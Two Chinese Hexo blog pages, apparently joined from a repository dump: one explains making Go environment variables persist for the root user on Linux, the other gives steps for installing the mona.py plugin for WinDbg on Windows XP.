<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">go环境变量设置</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-20 10:56:10</span>
<span class="mobile">2021-05-20 10:56:10</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2023-11-12 18:24:03</span>
<span class="mobile">2023-11-12 18:24:03</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/%E5%B7%A5%E5%85%B7/">工具</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/">环境配置</a>
</li>
<li>
| <a href="/tags/golang/">golang</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h3 id="question:"><a href="#question:" class="headerlink" title="question:"></a>question:</h3><ul>
<li>linux下设置go环境变量之后,再次打开新的终端或者重启后环境变量会失效需要重新<code>source /etc/profile</code> 后才能生效</li>
</ul>
<span id="more"></span>
<h3 id="answer:"><a href="#answer:" class="headerlink" title="answer:"></a>answer:</h3><ul>
<li>原来在 <code>/etc/profile</code> 中写入的环境变量输出的是普通用户的环境变量,设置root用户的环境变量需要在<code>/root/.bashrc</code> 里面写入环境变量(将刚才在 <code>/etc/profile</code> 中写入的环境变量拷贝过来重新 <code>source /root/.bashrc</code> 即可)</li>
<li>然后无论是重启还是打开新的终端无论是普通用户还是root用户输入 <code>go env</code> 就可以看到我们设置好的环境变量生效。</li>
</ul>
<img lazyload="" src="/images/loading.svg" data-src="/2021/05/20/go%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E8%AE%BE%E7%BD%AE/image-20200418165608857.png" class="" title="image-20200418165608857">
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> go环境变量设置</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-20 10:56:10</li>
<li>
<strong>更新于
:</strong> 2023-11-12 18:24:03
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/20/go环境变量设置/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/%E7%8E%AF%E5%A2%83%E9%85%8D%E7%BD%AE/">#环境配置</a>
</li>
<li class="tag-item mx-0.5">
<a href="/tags/golang/">#golang</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/20/winDbg%E5%AE%89%E8%A3%85mona/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">winXP安装mona</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/20/exploit%E7%BC%96%E5%86%99%E7%B3%BB%E5%88%972%EF%BC%9A%E6%A0%88%E6%BA%A2%E5%87%BA%EF%BC%8C%E8%B7%B3%E8%BD%AC%E8%87%B3shellcode/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">exploit编写系列2:栈溢出,跳转至shellcode</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">go环境变量设置</div>
<ol class="nav"><li class="nav-item nav-level-3"><a class="nav-link" href="#question%EF%BC%9A"><span class="nav-text">question:</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#answer%EF%BC%9A"><span class="nav-text">answer:</span></a></li></ol>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="main-content-footer">
<footer class="footer mt-5 py-5 h-auto text-base text-third-text-color relative border-t-2 border-t-border-color">
<div class="info-container py-3 text-center">
<div class="text-center">
©
<span>2022</span>
-
2025 <i class="fa-solid fa-heart fa-beat" style="--fa-animation-duration: 0.5s; color: #f54545"></i> <a href="/">xiaoeryu</a>
<p class="post-count space-x-0.5">
<span>
共撰写了 112 篇文章
</span>
</p>
</div>
<script data-swup-reload-script src="https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script>
<div class="relative text-center lg:absolute lg:right-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-right">
<span id="busuanzi_container_site_uv" class="lg:!block">
<span class="text-sm">访问人数</span>
<span id="busuanzi_value_site_uv"></span>
</span>
<span id="busuanzi_container_site_pv" class="lg:!block">
<span class="text-sm">总访问量</span>
<span id="busuanzi_value_site_pv"></span>
</span>
</div>
<div class="relative text-center lg:absolute lg:left-[20px] lg:top-1/2 lg:-translate-y-1/2 lg:text-left">
<span class="lg:block text-sm">由 <?xml version="1.0" encoding="utf-8"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg class="relative top-[2px] inline-block align-baseline" version="1.1" id="圖層_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="1rem" height="1rem" viewBox="0 0 512 512" enable-background="new 0 0 512 512" xml:space="preserve"><path fill="#0E83CD" d="M256.4,25.8l-200,115.5L56,371.5l199.6,114.7l200-115.5l0.4-230.2L256.4,25.8z M349,354.6l-18.4,10.7l-18.6-11V275H200v79.6l-18.4,10.7l-18.6-11v-197l18.5-10.6l18.5,10.8V237h112v-79.6l18.5-10.6l18.5,10.8V354.6z"/></svg><a target="_blank" class="text-base" href="https://hexo.io">Hexo</a> 驱动</span>
<span class="text-sm lg:block">主题 <a class="text-base" target="_blank" href="https://github.com/EvanNotFound/hexo-theme-redefine">Redefine v2.8.2</a></span>
</div>
<div>
博客已运行 <span class="odometer" id="runtime_days" ></span> 天 <span class="odometer" id="runtime_hours"></span> 小时 <span class="odometer" id="runtime_minutes"></span> 分钟 <span class="odometer" id="runtime_seconds"></span> 秒
</div>
<script data-swup-reload-script>
try {
function odometer_init() {
const elements = document.querySelectorAll('.odometer');
elements.forEach(el => {
new Odometer({
el,
format: '( ddd).dd',
duration: 200
});
});
}
odometer_init();
} catch (error) {}
</script>
</div>
</footer>
</div>
</div>
<div class="post-tools">
<div class="post-tools-container">
<ul class="article-tools-list">
<!-- TOC aside toggle -->
<li class="right-bottom-tools page-aside-toggle">
<i class="fa-regular fa-outdent"></i>
</li>
<!-- go comment -->
<li class="go-comment">
<i class="fa-regular fa-comments"></i>
</li>
</ul>
</div>
</div>
<div class="right-side-tools-container">
<div class="side-tools-container">
<ul class="hidden-tools-list">
<li class="right-bottom-tools tool-font-adjust-plus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-plus"></i>
</li>
<li class="right-bottom-tools tool-font-adjust-minus flex justify-center items-center">
<i class="fa-regular fa-magnifying-glass-minus"></i>
</li>
<li class="right-bottom-tools tool-dark-light-toggle flex justify-center items-center">
<i class="fa-regular fa-moon"></i>
</li>
<!-- rss -->
<li class="right-bottom-tools tool-scroll-to-bottom flex justify-center items-center">
<i class="fa-regular fa-arrow-down"></i>
</li>
</ul>
<ul class="visible-tools-list">
<li class="right-bottom-tools toggle-tools-list flex justify-center items-center">
<i class="fa-regular fa-cog fa-spin"></i>
</li>
<li class="right-bottom-tools tool-scroll-to-top flex justify-center items-center">
<i class="arrow-up fas fa-arrow-up"></i>
<span class="percent"></span>
</li>
</ul>
</div>
</div>
<div class="image-viewer-container">
<img src="">
</div>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-input-field-pre">
<i class="fa-solid fa-keyboard"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocorrect="off" autocapitalize="off" placeholder="站内搜索您需要的内容..." spellcheck="false" type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa-solid fa-times"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa-solid fa-spinner fa-spin-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</main>
<script src="/js/build/libs/Swup.min.js"></script>
<script src="/js/build/libs/SwupSlideTheme.min.js"></script>
<script src="/js/build/libs/SwupScriptsPlugin.min.js"></script>
<script src="/js/build/libs/SwupProgressPlugin.min.js"></script>
<script src="/js/build/libs/SwupScrollPlugin.min.js"></script>
<script src="/js/build/libs/SwupPreloadPlugin.min.js"></script>
<script>
const swup = new Swup({
plugins: [
new SwupScriptsPlugin({
optin: true,
}),
new SwupProgressPlugin(),
new SwupScrollPlugin({
offset: 80,
}),
new SwupSlideTheme({
mainElement: ".main-content-body",
}),
new SwupPreloadPlugin(),
],
containers: ["#swup"],
});
</script>
<script src="/js/build/tools/imageViewer.js" type="module"></script>
<script src="/js/build/utils.js" type="module"></script>
<script src="/js/build/main.js" type="module"></script>
<script src="/js/build/layouts/navbarShrink.js" type="module"></script>
<script src="/js/build/tools/scrollTopBottom.js" type="module"></script>
<script src="/js/build/tools/lightDarkSwitch.js" type="module"></script>
<script src="/js/build/layouts/categoryList.js" type="module"></script>
<script src="/js/build/tools/localSearch.js" type="module"></script>
<script src="/js/build/tools/codeBlock.js" type="module"></script>
<script src="/js/build/layouts/lazyload.js" type="module"></script>
<script src="/js/build/tools/runtime.js"></script>
<script src="/js/build/libs/odometer.min.js"></script>
<link rel="stylesheet" href="/assets/odometer-theme-minimal.css">
<script src="/js/build/libs/Typed.min.js"></script>
<script src="/js/build/plugins/typed.js" type="module"></script>
<script src="/js/build/libs/anime.min.js"></script>
<script src="/js/build/tools/tocToggle.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/layouts/toc.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/plugins/tabs.js" type="module" data-swup-reload-script=""></script>
<script src="/js/build/libs/moment-with-locales.min.js" data-swup-reload-script=""></script>
<script src="/js/build/layouts/essays.js" type="module" data-swup-reload-script=""></script>
</body>
</html> | Zayn-Liu/hexo | 2021/05/20/go环境变量设置/index.html | HTML | unknown | 29,509 |
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="keywords" content="Hexo Theme Redefine">
<meta name="author" content="xiaoeryu">
<!-- preconnect -->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<!--- Seo Part-->
<link rel="canonical" href="https://xiaoeeyu.github.io/2021/05/20/windbg安装mona/"/>
<meta name="robots" content="index,follow">
<meta name="googlebot" content="index,follow">
<meta name="revisit-after" content="1 days">
<meta name="description" content="Windows XP,32位 从https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip下载pykd.zip 解压后获得2个文件:pykd.pyd和vcredist_x86.exe 使用管理员权限运行vcredist_x86.exe并接受默认值。 将pykd.pyd复制到 C:\Program Files\Debugging">
<meta property="og:type" content="article">
<meta property="og:title" content="winXP安装mona">
<meta property="og:url" content="https://xiaoeeyu.github.io/2021/05/20/winDbg%E5%AE%89%E8%A3%85mona/index.html">
<meta property="og:site_name" content="xiaoeryu">
<meta property="og:description" content="Windows XP,32位 从https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip下载pykd.zip 解压后获得2个文件:pykd.pyd和vcredist_x86.exe 使用管理员权限运行vcredist_x86.exe并接受默认值。 将pykd.pyd复制到 C:\Program Files\Debugging">
<meta property="og:locale" content="zh_CN">
<meta property="article:published_time" content="2021-05-20T03:05:14.000Z">
<meta property="article:modified_time" content="2022-11-14T13:18:35.913Z">
<meta property="article:author" content="xiaoeryu">
<meta property="article:tag" content="winDbg插件">
<meta name="twitter:card" content="summary">
<!--- Icon Part-->
<link rel="icon" type="image/png" href="/images/rabete.jpg" sizes="192x192">
<link rel="apple-touch-icon" sizes="180x180" href="/images/rabete.jpg">
<meta name="theme-color" content="#A31F34">
<link rel="shortcut icon" href="/images/rabete.jpg">
<!--- Page Info-->
<title>
winXP安装mona | xiaoeryu
</title>
<link rel="stylesheet" href="/fonts/Chillax/chillax.css">
<!--- Inject Part-->
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/build/tailwind.css">
<link rel="stylesheet" href="/fonts/GeistMono/geist-mono.css">
<link rel="stylesheet" href="/fonts/Geist/geist.css">
<!--- Font Part-->
<script id="hexo-configurations">
window.config = {"hostname":"xiaoeeyu.github.io","root":"/","language":"zh-CN","path":"search.xml"};
window.theme = {"articles":{"style":{"font_size":"16px","line_height":1.5,"image_border_radius":"14px","image_alignment":"center","image_caption":false,"link_icon":true,"delete_mask":false,"title_alignment":"left","headings_top_spacing":{"h1":"3.2rem","h2":"2.4rem","h3":"1.9rem","h4":"1.6rem","h5":"1.4rem","h6":"1.3rem"}},"word_count":{"enable":true,"count":true,"min2read":true},"author_label":{"enable":true,"auto":false,"list":[]},"code_block":{"copy":true,"style":"mac","highlight_theme":{"light":"github","dark":"vs2015"},"font":{"enable":false,"family":null,"url":null}},"toc":{"enable":true,"max_depth":4,"number":false,"expand":true,"init_open":true},"copyright":{"enable":true,"default":"cc_by_nc_sa"},"lazyload":true,"pangu_js":false,"recommendation":{"enable":false,"title":"推荐阅读","limit":3,"mobile_limit":2,"placeholder":"/images/ball-0101.jpg","skip_dirs":[]}},"colors":{"primary":"#A31F34","secondary":null,"default_mode":"light"},"global":{"fonts":{"chinese":{"enable":false,"family":null,"url":null},"english":{"enable":false,"family":null,"url":null},"title":{"enable":false,"family":null,"url":null}},"content_max_width":"1000px","sidebar_width":"210px","hover":{"shadow":true,"scale":false},"scroll_progress":{"bar":false,"percentage":true},"website_counter":{"url":"https://busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js","enable":true,"site_pv":true,"site_uv":true,"post_pv":true},"single_page":true,"preloader":{"enable":false,"custom_message":null},"open_graph":true,"google_analytics":{"enable":false,"id":null}},"home_banner":{"enable":true,"style":"fixed","image":{"light":"/images/wallhaven-jxl31y.png","dark":"/images/wallhaven-o5762l.png"},"title":"XIAOERYU","subtitle":{"text":["明心见性,拨云见日","Don't wait, to create"],"hitokoto":{"enable":false,"show_author":false,"api":"https://v1.hitokoto.cn"},"typing_speed":100,"backing_speed":80,"starting_delay":500,"backing_delay":1500,"loop":true,"smart_backspace":true},"text_color":{"light":"#fff","dark":"#d1d1b6"},"text_style":{"title_size":"2.8rem","subtitle_size":"1.5rem","line_height":1.2},"custom_font":{"enable":false,"family":null,"url":null},"social_links":{"enable":true,"style":"default","links":{"github":"https://github.com/xiaoeeyu","instagram":null,"zhihu":null,"twitter":null,"email":"xiaoeryu@163.com"},"qrs":{"weixin":null}}},"plugins":{"feed":{"enable":false},"aplayer":{"enable":false,"type":"fixed","audios":[{"name":null,"artist":null,"url":null,"cover":null,"lrc":null}]},"mermaid":{"enable":false,"version":"9.3.0"}},"version":"2.8.2","navbar":{"auto_hide":false,"color":{"left":"#f78736","right":"#367df7","transparency":35},"width":{"home":"1200px","pages":"1000px"},"links":{"Home":{"path":"/","icon":"fa-regular fa-house"},"Archives":{"path":"/archives","icon":"fa-regular fa-archive"}},"search":{"enable":true,"preload":true}},"page_templates":{"friends_column":2,"tags_style":"blur"},"home":{"sidebar":{"enable":true,"position":"left","first_item":"menu","announcement":null,"show_on_mobile":true,"links":null},"article_date_format":"auto","excerpt_length":200,"categories":{"enable":true,"limit":3},"tags":{"enable":true,"limit":3}},"footerStart":"2022/8/17 11:45:14"};
window.lang_ago = {"second":"%s 秒前","minute":"%s 分钟前","hour":"%s 小时前","day":"%s 天前","week":"%s 周前","month":"%s 个月前","year":"%s 年前"};
window.data = {"masonry":false};
</script>
<!--- Fontawesome Part-->
<link rel="stylesheet" href="/fontawesome/fontawesome.min.css">
<link rel="stylesheet" href="/fontawesome/brands.min.css">
<link rel="stylesheet" href="/fontawesome/solid.min.css">
<link rel="stylesheet" href="/fontawesome/regular.min.css">
<meta name="generator" content="Hexo 6.3.0">
<style>.github-emoji { position: relative; display: inline-block; width: 1.2em; min-height: 1.2em; overflow: hidden; vertical-align: top; color: transparent; } .github-emoji > span { position: relative; z-index: 10; } .github-emoji img, .github-emoji .fancybox { margin: 0 !important; padding: 0 !important; border: none !important; outline: none !important; text-decoration: none !important; user-select: none !important; cursor: auto !important; } .github-emoji img { height: 1.2em !important; width: 1.2em !important; position: absolute !important; left: 50% !important; top: 50% !important; transform: translate(-50%, -50%) !important; user-select: none !important; cursor: auto !important; } .github-emoji-fallback { color: inherit; } .github-emoji-fallback img { opacity: 0 !important; }</style>
</head>
<body>
<div class="progress-bar-container">
<span class="pjax-progress-bar"></span>
<!-- <span class="swup-progress-icon">-->
<!-- <i class="fa-solid fa-circle-notch fa-spin"></i>-->
<!-- </span>-->
</div>
<main class="page-container" id="swup">
<div class="main-content-container flex flex-col justify-between min-h-dvh">
<div class="main-content-header">
<header class="navbar-container px-6 md:px-12">
<div class="navbar-content transition-navbar ">
<div class="left">
<a class="logo-image h-8 w-8 sm:w-10 sm:h-10 mr-3" href="/">
<img src="/images/rabete.jpg" class="w-full h-full rounded-sm">
</a>
<a class="logo-title" href="/">
xiaoeryu
</a>
</div>
<div class="right">
<!-- PC -->
<div class="desktop">
<ul class="navbar-list">
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/"
>
<i class="fa-regular fa-house fa-fw"></i>
首页
</a>
<!-- Submenu -->
</li>
<li class="navbar-item">
<!-- Menu -->
<a class=""
href="/archives"
>
<i class="fa-regular fa-archive fa-fw"></i>
归档
</a>
<!-- Submenu -->
</li>
<li class="navbar-item search search-popup-trigger">
<i class="fa-solid fa-magnifying-glass"></i>
</li>
</ul>
</div>
<!-- Mobile -->
<div class="mobile">
<div class="icon-item search search-popup-trigger"><i class="fa-solid fa-magnifying-glass"></i>
</div>
<div class="icon-item navbar-bar">
<div class="navbar-bar-middle"></div>
</div>
</div>
</div>
</div>
<!-- Mobile sheet -->
<div class="navbar-drawer h-dvh w-full absolute top-0 left-0 bg-background-color flex flex-col justify-between">
<ul class="drawer-navbar-list flex flex-col px-4 justify-center items-start">
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/"
>
<span>
首页
</span>
<i class="fa-regular fa-house fa-sm fa-fw"></i>
</a>
</li>
<li class="drawer-navbar-item text-base my-1.5 flex flex-col w-full">
<a class="py-1.5 px-2 flex flex-row items-center justify-between gap-1 hover:!text-primary active:!text-primary text-2xl font-semibold group border-b border-border-color hover:border-primary w-full "
href="/archives"
>
<span>
归档
</span>
<i class="fa-regular fa-archive fa-sm fa-fw"></i>
</a>
</li>
</ul>
<div class="statistics flex justify-around my-2.5">
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/tags">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">92</div>
<div class="label text-third-text-color text-sm">标签</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/categories">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">14</div>
<div class="label text-third-text-color text-sm">分类</div>
</a>
<a class="item tag-count-item flex flex-col justify-center items-center w-20" href="/archives">
<div class="number text-2xl sm:text-xl text-second-text-color font-semibold">112</div>
<div class="label text-third-text-color text-sm">文章</div>
</a>
</div>
</div>
<div class="window-mask"></div>
</header>
</div>
<div class="main-content-body transition-fade-up">
<div class="main-content">
<div class="post-page-container flex relative justify-between box-border w-full h-full">
<div class="article-content-container">
<div class="article-title relative w-full">
<div class="w-full flex items-center pt-6 justify-start">
<h1 class="article-title-regular text-second-text-color tracking-tight text-4xl md:text-6xl font-semibold px-2 sm:px-6 md:px-8 py-3">winXP安装mona</h1>
</div>
</div>
<div class="article-header flex flex-row gap-2 items-center px-2 sm:px-6 md:px-8">
<div class="avatar w-[46px] h-[46px] flex-shrink-0 rounded-medium border border-border-color p-[1px]">
<img src="/images/rabete.jpg">
</div>
<div class="info flex flex-col justify-between">
<div class="author flex items-center">
<span class="name text-default-text-color text-lg font-semibold">xiaoeryu</span>
<span class="author-label ml-1.5 text-xs px-2 py-0.5 rounded-small text-third-text-color border border-shadow-color-1">Lv5</span>
</div>
<div class="meta-info">
<div class="article-meta-info">
<span class="article-date article-meta-item">
<i class="fa-regular fa-pen-fancy"></i>
<span class="desktop">2021-05-20 11:05:14</span>
<span class="mobile">2021-05-20 11:05:14</span>
<span class="hover-info">创建</span>
</span>
<span class="article-date article-meta-item">
<i class="fa-regular fa-wrench"></i>
<span class="desktop">2022-11-14 21:18:35</span>
<span class="mobile">2022-11-14 21:18:35</span>
<span class="hover-info">更新</span>
</span>
<span class="article-categories article-meta-item">
<i class="fa-regular fa-folders"></i>
<ul>
<li>
<a href="/categories/%E5%B7%A5%E5%85%B7/">工具</a>
</li>
</ul>
</span>
<span class="article-tags article-meta-item">
<i class="fa-regular fa-tags"></i>
<ul>
<li>
<a href="/tags/winDbg%E6%8F%92%E4%BB%B6/">winDbg插件</a>
</li>
</ul>
</span>
<span class="article-pv article-meta-item">
<i class="fa-regular fa-eye"></i> <span id="busuanzi_value_page_pv"></span>
</span>
</div>
</div>
</div>
</div>
<div class="article-content markdown-body px-2 sm:px-6 md:px-8 pb-8">
<h3 id="Windows-XP,32位"><a href="#Windows-XP,32位" class="headerlink" title="Windows XP,32位"></a>Windows XP,32位</h3><ol>
<li><p>从<a class="link" target="_blank" rel="noopener" href="https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip%E4%B8%8B%E8%BD%BDpykd.zip">https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip下载pykd.zip<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>
</li>
<li><p>解压后获得2个文件:pykd.pyd和vcredist_x86.exe</p>
</li>
<li><p>使用管理员权限运行vcredist_x86.exe并接受默认值。</p>
</li>
<li><p>将pykd.pyd复制到 <code>C:\Program Files\Debugging Tools for Windows (x86)\winext</code></p>
</li>
<li><p>打开具有管理员权限的命令提示符,然后运行以下命令:</p>
<pre><code>c:
cd "C:\Program Files\Common Files\Microsoft Shared\VC"
regsvr32 msdia90.dll
(You should get a messagebox indicating that the dll was registered successfully)
</code></pre>
</li>
<li><p>从<a class="link" target="_blank" rel="noopener" href="https://github.com/corelan/windbglib/raw/master/windbglib.py%E4%B8%8B%E8%BD%BDwindbglib.py">https://github.com/corelan/windbglib/raw/master/windbglib.py下载windbglib.py<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>
</li>
<li><p>将文件保存在下面<code>C:\Program Files\Debugging Tools for Windows (x86)</code> (如果需要,“取消阻止”文件)</p>
</li>
<li><p>从<a class="link" target="_blank" rel="noopener" href="https://github.com/corelan/mona/raw/master/mona.py%E4%B8%8B%E8%BD%BDmona.py">https://github.com/corelan/mona/raw/master/mona.py下载mona.py<i class="fa-solid fa-arrow-up-right ml-[0.2em] font-light align-text-top text-[0.7em] link-icon"></i></a></p>
</li>
<li><p>将文件保存在下面<code>C:\Program Files\Debugging Tools for Windows (x86)</code> (如果需要,“取消阻止”文件)</p>
</li>
</ol>
<span id="more"></span>
<h2 id="run"><a href="#run" class="headerlink" title="run"></a>run</h2><p>打开Windbg并执行以下命令: <code>.load pykd.pyd</code></p>
<p>mona命令可以通过运行来访问 <code>!py mona</code></p>
</div>
<div class="post-copyright-info w-full my-8 px-2 sm:px-6 md:px-8">
<div class="article-copyright-info-container">
<ul>
<li><strong>标题:</strong> winXP安装mona</li>
<li><strong>作者:</strong> xiaoeryu</li>
<li><strong>创建于
:</strong> 2021-05-20 11:05:14</li>
<li>
<strong>更新于
:</strong> 2022-11-14 21:18:35
</li>
<li>
<strong>链接:</strong> https://github.com/xiaoeryu/2021/05/20/winDbg安装mona/
</li>
<li>
<strong>
版权声明:
</strong>
本文章采用 <a class="license" target="_blank" rel="noopener" href="https://creativecommons.org/licenses/by-nc-sa/4.0">CC BY-NC-SA 4.0</a> 进行许可。
</li>
</ul>
</div>
</div>
<ul class="post-tags-box text-lg mt-1.5 flex-wrap justify-center flex md:hidden">
<li class="tag-item mx-0.5">
<a href="/tags/winDbg%E6%8F%92%E4%BB%B6/">#winDbg插件</a>
</li>
</ul>
<div class="article-nav my-8 flex justify-between items-center px-2 sm:px-6 md:px-8">
<div class="article-prev border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="prev" rel="prev" href="/2021/05/21/HW%E6%A0%B7%E6%9C%AC%E5%88%86%E6%9E%90/">
<span class="left arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-left"></i>
</span>
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">HW样本分析</span>
<span class="post-nav-item">上一篇</span>
</span>
</a>
</div>
<div class="article-next border-border-color shadow-redefine-flat shadow-shadow-color-2 rounded-medium px-4 py-2 hover:shadow-redefine-flat-hover hover:shadow-shadow-color-2">
<a class="next" rel="next" href="/2021/05/20/go%E7%8E%AF%E5%A2%83%E5%8F%98%E9%87%8F%E8%AE%BE%E7%BD%AE/">
<span class="title flex justify-center items-center">
<span class="post-nav-title-item">go环境变量设置</span>
<span class="post-nav-item">下一篇</span>
</span>
<span class="right arrow-icon flex justify-center items-center">
<i class="fa-solid fa-chevron-right"></i>
</span>
</a>
</div>
</div>
<div class="comment-container px-2 sm:px-6 md:px-8 pb-8">
<div class="comments-container mt-10 w-full ">
<div id="comment-anchor" class="w-full h-2.5"></div>
<div class="comment-area-title w-full my-1.5 md:my-2.5 text-xl md:text-3xl font-bold">
评论
</div>
</div>
</div>
</div>
<div class="toc-content-container">
<div class="post-toc-wrap">
<div class="post-toc">
<div class="toc-title">目录</div>
<div class="page-title">winXP安装mona</div>
